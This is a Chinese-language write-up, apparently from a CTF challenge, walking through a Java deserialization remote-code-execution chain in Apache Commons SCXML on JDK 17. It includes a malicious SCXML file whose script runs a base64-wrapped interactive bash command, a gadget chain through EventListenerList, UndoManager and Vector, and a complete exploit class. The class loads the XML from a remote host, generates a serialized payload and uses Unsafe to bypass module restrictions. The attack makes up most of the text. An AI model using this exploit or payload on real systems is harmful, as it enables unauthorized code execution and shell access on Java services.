O4gikL.png
看下main函数,存在一个scxml路由,对参数进行base64解码然后反序列化
看下依赖
O4gnpi.png
有scxml的依赖,这个依赖存在一个RCE利用链

恶意xml读取

在SCXMLReader里面存在一个read方法可以进行加载xml
O4g1YX.png
看一下readInternal方法
O4gN5t.png
看一下URLResolver
O4geKx.png
没有对URL进行策略防御,处理完URL进入getReader方法
O4grSj.png
O4gAwp.png
如果有url就会进入else,从URL加载scxml
O4gZ1U.png
O4gvDY.png
获取完命名空间和本地名称后会进入readSCXML
O4gy8v.png
O4gmxq.png
需要加载的恶意xml是

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
        ''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,base64编码}|{base64,-d}|{bash,-i}')
</script>
</onentry>
</state>
</scxml>

最外层是state标签
O4gppc.png
如果有stat标签会进入readState方法
O4gJfr.png
第二层是onentry标签,进入readOnEntry方法
O4gRBM.png
会执行readExecutableContext方法
O4gtKG.png
O4g401.png
第三层是script标签,所有进入readScript方法
O4gDwI.png
这里面添加了恶意payload到body里面然后就结束了

流程

SCXMLReader#read
SCXMLReader#readInternal
SCXMLReader#readDocument
SCXMLReader#readSCXML
SCXMLReader#readState
SCXMLReader#readOnEntry
SCXMLReader#readExecutableContext
SCXMLReader#readScript

恶意xml执行

SCXMLExecutor里面有个go方法
O4gL1D.png
调用了reset方法
O4gEHF.png
然后调用了executeActions方法
O4gG86.png
然后里面执行了excute方法
所以把恶意xml传到SCXMLExecutor里面即可
O4gSxP.png
其中第二个参数是恶意xml
O4g0Jb.png
可以通过setter传入
初始exp

SCXML scxml = SCXMLReader.read("http://ip/xml.xml");
SCXMLExecutor executor = new SCXMLExecutor();
executor.setStateMachine(scxml);
executor.go();

寻找利用链

然后需要找哪里调用了read方法
O4gcfl.png
看第二个SimpleSCMXLInvoker的invoke方法
O4gsBg.png
不仅进行了xml读取还进行了恶意xml执行,无敌了。
然后找哪里调用了这个invoke方法
O4gVZB.png
SXCML这个包里面没有了,看下其他依赖
O4gY0s.png
作者给了一个InvokerImpl的类

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.n1ght;
import java.io.Serializable;
import java.util.Map;
import org.apache.commons.scxml2.invoke.Invoker;
import org.apache.commons.scxml2.invoke.InvokerException;
public class InvokerImpl implements Serializable {
    private final Invoker o;
    private final String source;
    private final Map params;

    public InvokerImpl(Invoker o, String source, Map params) {
        this.o = o;
        this.source = source;
        this.params = params;
    }

    public String toString() {
        try {
            this.o.invoke(this.source, this.params);
            return "success invoke";
        } catch (InvokerException var2) {
            throw new RuntimeException(var2);
        }
    }
}

正好toString方法里面的invoke接上了SimpleSCMXLInvoker的invoke方法,然后在向上就是找哪个readObject调用了toString方法,很容易想到javax.management.BadAttributeValueExpException
不过jdk17的BadAttributeValueExpException的val参数是String类型,无法传入一个object进去
O4glMK.png
这里用到了EventListenerList的readObject

EventListenerList#readObject

O4g97a.png
其调用了add方法
O4gjHS.png
然后这里面会自动触发listenerList的toString方法
O4g2XN.png
但是要求传入的类是EventListener实例,直接传入InvokerImpl是不行的

javax.swing.undo.UndoManager#toString

O4g8xC.png
O4gXJL.png
该类实现了 UndoableEditListener接口并且该接口继承EventListener类,其中limit 与 indexOfNextAdd 都是int类型
O4guli.png
调用父类的toString,也就是CompoundEdit的toString
O4g3BX.png
O4gCZt.png
edits是vector型

java.util.Vector#toString

O4gwcx.png
返回了父类的toString,即AbstractCollection的toString
调用了StringBuilder的append方法
O4ma7p.png
调用了valueOf方法
O4moLU.png
调用链obj的toString
这里才是InvokerImpl传入的地方
所以目标是传入一个UndoManager,里面InvokerImpl放到ListernerList里面

利用链

ListernerList#readObject->
UndoManager#toString->
CompoundEdit#toString->
Vector#toString—>
InvokerImpl#toString->
SimpleSCMXLInvoker#invoke->
SCXMLReader#read
SCXMLExecutor#go

调试发现执行SimpleSCMXLInvoker#invoke的时候需要给个evaluator的参数
O4mqXY.png
是从parentSCInstance属性获取,可以反射传进一个SCInstance类
O4mBzv.png
O4mTPq.png
这个类的evaluator属性也是私有属性,但是由setter方法,所以可以反射调用方法或者直接反射赋值
O4mUlc.png
Evaluator是个接口
O4mbTr.png
共有四个实现方法,有两个没有实现反序列化,还有一个没有依赖,只能使用JexlEvaluator
exp

import com.n1ght.InvokerImpl;
import org.apache.commons.scxml2.SCInstance;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.env.jexl.JexlEvaluator;
import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;
import javax.swing.undo.UndoManager;
public class exp {
    public static void main(String[] args) throws Exception {
        //绕过jdk17 反射限制
        bypassModule(exp.class);
        SCXMLExecutor executor = new SCXMLExecutor();
        //反射创建SCInstance类
        Class c=Class.forName("org.apache.commons.scxml2.SCInstance");
        Constructor constructor=c.getDeclaredConstructor(SCXMLExecutor.class);
        constructor.setAccessible(true);
        SCInstance scInstance= (SCInstance) constructor.newInstance(executor);
        //反射赋值evaluator为JexlEvaluator类
        setFieldValue(scInstance,"evaluator",new JexlEvaluator());
        //反射赋值SimpleSCXMLInvoker的executor和parentSCInstance属性
        SimpleSCXMLInvoker simpleSCXMLInvoker=new SimpleSCXMLInvoker();
        setFieldValue(simpleSCXMLInvoker,"executor",executor);
        setFieldValue(simpleSCXMLInvoker,"parentSCInstance",scInstance);

        InvokerImpl invoker=new InvokerImpl(simpleSCXMLInvoker,"http://ip/exp.xml",new HashMap<>());
        EventListenerList eventListenerList=new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector=new Vector();
        vector.add(invoker);
        setFieldValue(manager,"edits",vector);
        setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, manager});
        ByteArrayOutputStream fuck = new ByteArrayOutputStream();
        new ObjectOutputStream(fuck).writeObject(eventListenerList);
        System.out.println(Base64.getEncoder().encodeToString(fuck.toByteArray()));
    }

    public static void bypassModule(Class src) throws Exception {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(src, addr, Object.class.getModule());
    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
       Class clazz=obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj,value);
                break;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
}

O4mkvM.png